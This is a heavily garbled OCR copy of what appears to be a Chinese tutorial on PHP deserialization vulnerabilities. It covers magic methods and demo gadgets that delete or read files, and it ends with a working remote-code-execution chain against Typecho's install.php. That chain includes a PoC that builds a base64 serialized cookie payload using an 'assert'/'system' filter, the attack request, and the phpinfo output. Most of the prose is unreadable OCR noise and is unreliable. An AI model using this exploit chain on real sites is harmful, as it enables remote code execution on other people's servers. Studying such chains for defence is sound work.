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REBEPHPFIIL S RFFIMLZ"E"
A< S EBBA

fra2BEARDRBEAR

FHM: BRREB/RR—TFRFH, PHPEIMLEREIZ: serialize()
REN: BFRIMENFRFEERI—THNER, PHPRFIIHLEEZ: unserialize()
iR FINNRE 2RI HNT T B -THREE:

BMNENHF, MREBENIR—TARE, BAFMAUD A WAEDFDTE, Mani) XM
DABEDMHABNY, BEARERET, RTARADRE?

HAMEEE, FELERA, EMHBFTELZ=SNK, BEREFD, BARXLEDEILANT
MEMphpHFRIZE, YHNENEMETENIZSKETUNLSERME, shiDlz R MEY IRE
FOEAMSELE, HENAMENBTUNERZENR, BAMENBESENREE. E:
ANBEE, fRE, Fik, HAIFTFEXERME, LATNIER, H®hE, BSEFZFTH. IRELEASE
B—TENE, BB, AE, Fik, UHIXEMEAZNENEYE, MIER, HE, B
MEARXTENTH,

BAIKREE—TALEER, BRBEZRIZXTANER(zhangsan), MHI(B), Fik(50),

EHEESHNXE(SRE),

<?php

class zhangsan{

EH 1.
73

public $sex

public $age '50"';

public function skill(){
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echo "&B/EML";

class MBE XX TE, $sex WX TAMNIMESR, $age EHIE, $skill() #EERIIKREE,
MALKRERNEMRERT, REFEEnew — FTMEANRT

$belles = new zhangsan();
/! BEEEHIFH

echo $belles—>age;

/! BT

echo "\n\r";

// BEEERIEE

echo $belles->skill();

BEEBITER:
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zhangsan{

$sex

tage

skill(){
echo "B/ EMIE";

¢belles = zhangsan{);
echo $belles->age;
echo "\n\r";

echo $belles->skill();

XME—TRBENNRT, BERNMBERIIAMNRFIL—T,

$belles = new zhangsan();

echo serialize($belles);

echo "\n\r";
unserialize('0:8:"zhangsan":2:{s:3:"sex";s:3:"8";s:3:"age";s:2:"50";}");
/! BEEHIFLE

echo $belles—>age;
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zhangsan{

fsex

$age

skill(){
echo "t FmEML";

$belles = zhangsan();
echo serialize(%$belles);echo "\n\r";
unserialize('0:8:"zhangsan":2:{s:3:"sex";s5:3:"%";5:3

echo $belles->age;

njZ (3

0:8:"zhangsan":2:{s:3:"sex";s5:3:"%E";5:3:"age";5:2:"50";}

BMNTUNEIZFARE LN REERFNFH, RFIAMEEFFREEZTANR, ZEMA
DA A3 33 SREV IO BE

BREBESPHPRFIIMREABRNEERLY, SLERBAHEE, RAFEN.

__destruct() // X R RS A&

__construct() /] H—T X REIZERS #18 H

__wakeup() //#Bunserializeftft %k

__sleepl() //1EHserializeftht%k

__toString() [/ BESIEFFE @B L

__get() /| SRR ZEHIE B AT &

__set() /| BETFHENEBMESHE

__isset() // EREEERE I LEHiIsset () Blempty () fi&
__unset() /! ET AR E % LEFunset () BT/t &
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__invoke() /| HHIZR S0 G 508 0 KA B &

BART ERIRR F M4

<?php
class Pers
{
public $age = '18"';
public function __construct(){
echo 'BIEMZRERA"."\n\r";
}
public function __destruct(){
echo 'HENZMA';
b
}

$per = new Pers(); // BIZEXZxR, & __constructBARG%E
unset($per); // HENZR, #L__destruct BARAEE

__construct(){

destruct()|{

L A

[

"d:\phpStudy\WWW\asj\111\1. php"
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ANEZNRECNENRIEIER T constructFi%, EHSBMETERIERET destruct A%,

<?php
class Pers
{
public $age = '18"';
public function __sleep(){
echo '{FMserializeftfk"'."\n\r";
return(array('age'));
¥
public function __wakeup(){
echo '"f§MunserializefIfia%";
}
b

$per = new Pers();
serialize($per); /] FAItE, Bk _sleepBARA%E
unserialize('0:4:"Pers":1:{s:3:"age";s:2:"18";}"'); // RFE3It, Mk _wake

$age = "18";
__sleep(]
echo '{# fseriali
return(array( " age
__wakeup(){
echo ' Hunserializefif

}

$per = Pers();
serialize($per);
unserialize('0:4:"Pers":1:{s:3:"age";s:2:"18";}"'

El pnp

ﬁffﬁserializeﬁﬁ:

{f A unserializef}

AUERNRELFMHIRERME TsleepRii, ERFIIMCHREMAE T wakeuphiz.

<?php
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class Pers
{
public $age = '18"';
public function __toString(){
return 'WRIAEFHFHEAMAEL" . "\n\r";
b
public function __get($p){
echo '"SRENEAREFEMNAERAAL ."\n\r";
b
public function __set($n,$v){
echo "REARFENEBEMSAL"."\n\r";

}
$per = new Pers();

$per—>age = '20"';

echo $per; /! EXRRGREFRFERH L
$per—>pl; /! FEREAFERE T
$per->n = 'aa'; /! REENFENEYE

MRHE echo WNINRZIEXNRIMFHFHEMRIAMA __toString 5iE, RBMEAFENEM p1,
R __get BAGIE REXNFAENEM N, MR __set BARTGIE.
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S hJ |

return ‘7 gﬂf FrFEE Eﬁ B il %

b
$per =
$per->age =

echo $per;
$per->pl;
$per->n

<?php
class Pers
{
public $age = '18"';
public function __isset($p){
echo "#MEMESFENREL" . "\n\r";
b
public function __unset($content) {
echo "HEXRIMMERunset () RECRMAZFENEMR BahEAN" . "\n\r";
b
public function __invoke($content) {
echo "{E— PRI —TEEERIT" . "\n\r";
I
b

$per = new Pers();

$per—>age = '20"';
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isset($per—>aaa); // HEBEMHEDFE
unset($per—>aqges); // HEAFENEE
$per('111'); /] HEXNZREGERE

FITEE RS FAEMNNIRM AR __isset BRBDE MBEAFENBMERMRMA __unset BRA
B EXNRIFRBEIRMA __invoke BRTIE.

T BAEE BENEA A" "\n\r";

$per = Pers();
$per->age = '20°;
isset($per->aaa);
unset($per->ages);
$per('111°);

17 B AL B B 33 A A

PhpRFN R

VR B
FIEE, REFIIL.

// demol.php

<?php

class delete{
public $name = 'error';
function __destruct()
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'<br>"';
echo $this->name . ' delete';
FILE_ ).

echo $this—->name.

unlink(dirname(__

// demoZ2.php
<?php
include 'demol.php';

class per{

$name = '"';

$age = '"';
function infos(){

BrEE";

public
public
public

echo 'iX

}

$pers = unserialize($_GET['id']);

oH—TLEARE, INEIEZRRKRIJ,X

delete ML, HiBdeleteZE ) $name HIS 1
MR, TERMIE—TFExploit:

/ F2Ift demol.php

<?php

class delete{

public $name = ‘'error';
b
$del = new delete();

$del->name = 'ccc.php';

echo serialize($del);

TS HAE,

HEPHPFIIML S L fpoil bz " "

'/'.$this—->name);

BAN A BB X2 25 A B
TR BATEERN, A UEMRX

// demo2.php?id=0:6:"delete":1:{s:4:"name";s:7:"ccc.php";}

IR BI2

// demo3.php
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<?php
class red{
public $name = 'error';

function __toString()

// echo $this->name;

return file_get_contents($this—>name);

// demo4.php

<?php

include 'demo3.php';

class perd{
public $name = '';
public $age = '';
public function infos(){

echo 'XEREE';

}

$pers = unserialize($_GET['id']);

echo $pers;

BT UNERIdSHEFETEZEN, red€BF—1__toStringhiE, XTAELERET, RE
HAFNSEERAMSENER, JUMETEMNEXploit, REEXHRE.

// 3% demol.php

<?php
class red{

public $name = 'error';
b
$del = new red();
$del->name = 'ccc.txt';

echo serialize($del);
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&« (G- Fid=0:3:"red":1:{s:4:"name";s:7:" coc. et "}

B =z = == i3 IfE #19 () GH & BEURL @ SHEEZER..

IR T ceotnt - iT=E
MEHE wHE B0 EEN EEH
XIS

TypechoREXHRFIIM{ARE

AR B
/! BIFABHAITEIXEFTEFE —LEFE1F:
/e L ELLTR

if ('isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/con

exit;

// A BERIES LA

if (lempty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
Iy

$parts = parse_url($_SERVER['HTTP_REFERER']);
if (lempty($parts['port']) && $parts['port'] !'= 80 && !Typecho_Comm
$parts['host'] = "{$parts['host']}:{$parts['port']1}";

}

if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host'’
exit;

}

// install.php
<?php
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// 518 TTypecho_Cookie::get() H;A5#FEiCookie 1AY9__typecho_configAylE, ZEbac
// HUEETX B Hpoc iizi#{Tbase64 IiZ L 7Ecookie F
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_conf
Typecho_Cookie::delete('__typecho_config');
// #Z/E1BHETypecho_Db
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db—>addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);

?>

// #ETypecho_Db7i A #ANF__construct 5%
public function __construct($adapterName, $prefix = 'typecho_"')
{
$this—>_adapterName = $adapterName;
XEHITHIBHEIRIE, XERUAIB L A pE =& ZERY__toString () 7%
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
/] ... BB

/! BABE=1TZEF@H__toString()H)%:
// var/Typecho/Config.php

// var/Typecho/Feed.php

// var/Typecho/Db/Query.php

// HfFeed BTLAFIMH, ZEFeed __toString () FiAHHI2907T
foreach ($this->_items as $item) {

$content .= '<item>' . self::EOL;

$content .= '<title>' . htmlspecialchars($item['title']) . '</title:
$content .= '<link>"' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</quid>' . self::EOL;

$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</publ
/! TEXE, BIITUEZEFHZTERNT 5 arE Ephpinfo () ; , XAHR T LA FBFH 7] BE= At %

$content .= '<dc:creator>' . htmlspecialchars($item['author']->scre

// #EXMERequest.phpsgy__get () H%EH, FFEXF TscreenName
public function __get($key)

{

echo $key;exit;//screenName

return $this—->get($key);

// BR#$this—>get($key) ftE2iFEscreenName 918 phpinfo(), REEFRT T, 7
}
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// BIR#$this—>_applyFilter($value)
private function _applyFilter($value)

{
if ($this—>_filter) {
foreach ($this—->_filter as $filter) {
var_dump($filter.'——". $value);exit;
// XEEAEZFE T 1NME "assert——-phpinfo()", #X%call_user_f
$value = is_array($value) ? array_map($filter, $value) : ca
/e o o BEE

BB\ RE B —DRETENTE:
1.MCookieZ{HPOSTHEHIEFR I EI'__typecho_config'FE,
2. A5 A" __typecho_config'Hffy'adapter'#fl'prefix' Ll —PTypecho_Dbzk,

B.EXLHIHIRES, KRB TFREHIEILLE T adapter', HFHA1IREMN adapter FERE—T
ERIE, MEMRXTEN__toStringDBARGIE.

4. F ¥ 3 Feed X 1 % & 9 __toString() B K & 3%, 5 18 T $item['author']-

>screenName,

5.4 $item['author']->screenName A — 1A A ifA B MR, B AIZEN__get()E
RFE
6.Typecho_RequestEMBEARAGER, WA T get(),ZHEN, M T _params[$keylE@H
ﬁEO

7.8 params[$key]BEE A\ applyFilter() A3k, HHRTHE,

// ExploitflF:

<?php

class Typecho_Feed

{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0°';
const DATE_RFC822
const DATE_W3CDTF 'c';
const EOL = "\n";

Irl;

private $_type;
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private $_items;

public function __construct(){
$this—>_type = $this::RSS2;
$this—->_items[0] = array(
'title' => '1"',
'"link' => '1°',
'date' => 1508895132,
‘category' => array(new Typecho_Request()),

'author' => new Typecho_Request(),

class Typecho_Request

{

private $_params array();

private $_filter array();

public function __construct(){
$this—>_params['screenName'] = 'phpinfo()"';
$this—>_filter[0] = 'assert';

b

/! RITRZGRS

// public function __construct(){

// $this—>_params['screenName'] = 'ipconfig';

// $this—>_filter[0] = 'system';

!/}

$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_ '

);

echo base64_encode(serialize($exp));

// payload
_typecho_config=YToyOntz0jc6ImFKYXBOZXIi0086MTI6ITR5cGVjaGOfRmV1ZCI6GM]|
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EMIRE :

BpayloadfE AcookieH,

GET Anstall php?start HTTPA 1

Host

Cache-Controt max-age=0

Upgrade-insecure-Requests: 1

User-Agent: Mozilla/S 0 (Windows NT 10.0; WinG4; x64) AppleVWebHR/S37 36 (KHTML, lle Gecko) Crvome/78.0 3904 97 Safari/S37 36
Accept texthtmi applcation/xhimi+xmi applcationfionl q=0 9 image webp image/apng ', q=0 B application/signed-exchange, vab3
Referer - ]

Accepl-Encoding gzip, deflate

Accepl-Language: zh-CN zhg=0 9

Cookie
__typecho_configsT

JBIgE ;
_typecho_langs=zh_CN; PHPSESSID=317Bet

Connection: close

string(17) "assert--phpinfo()”

PHP Version 5.2.17

System Windows NT DESKTOP-2IL1C93 6.2 build 9200
Build Date Jan 6 2011 17:34:09

Configure eseript /nologo configure.js "--enable-snapshot-build™ *--enable-debug-pack” "--with-
C i snapshot pl d\php-sdkisnap_5_2\ve6\xB6\template” "--with-php-
build=d:\php-sdk\snap_5_2\vc6\xB86\php_build" *--disable-zts" "--disable-isapi* "--
disable-nsapi* “--with-pdo-oci=D#\php-sdk\cracle\instantclient10\sdk shared" “--with-
ociB=D:\php-sdk\oracle\instantclient10\sdk shared® *--without-pi3web*

Server API CGl/FastCGl
Virtual disabled
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MEE THHE

PEIMARE, APXRESE, FFERAFR

KR HEIE BTN SERA

https://mp.weixin.qq.com/s/XvnSIGeb69XtAhgNux YvOw 17/17



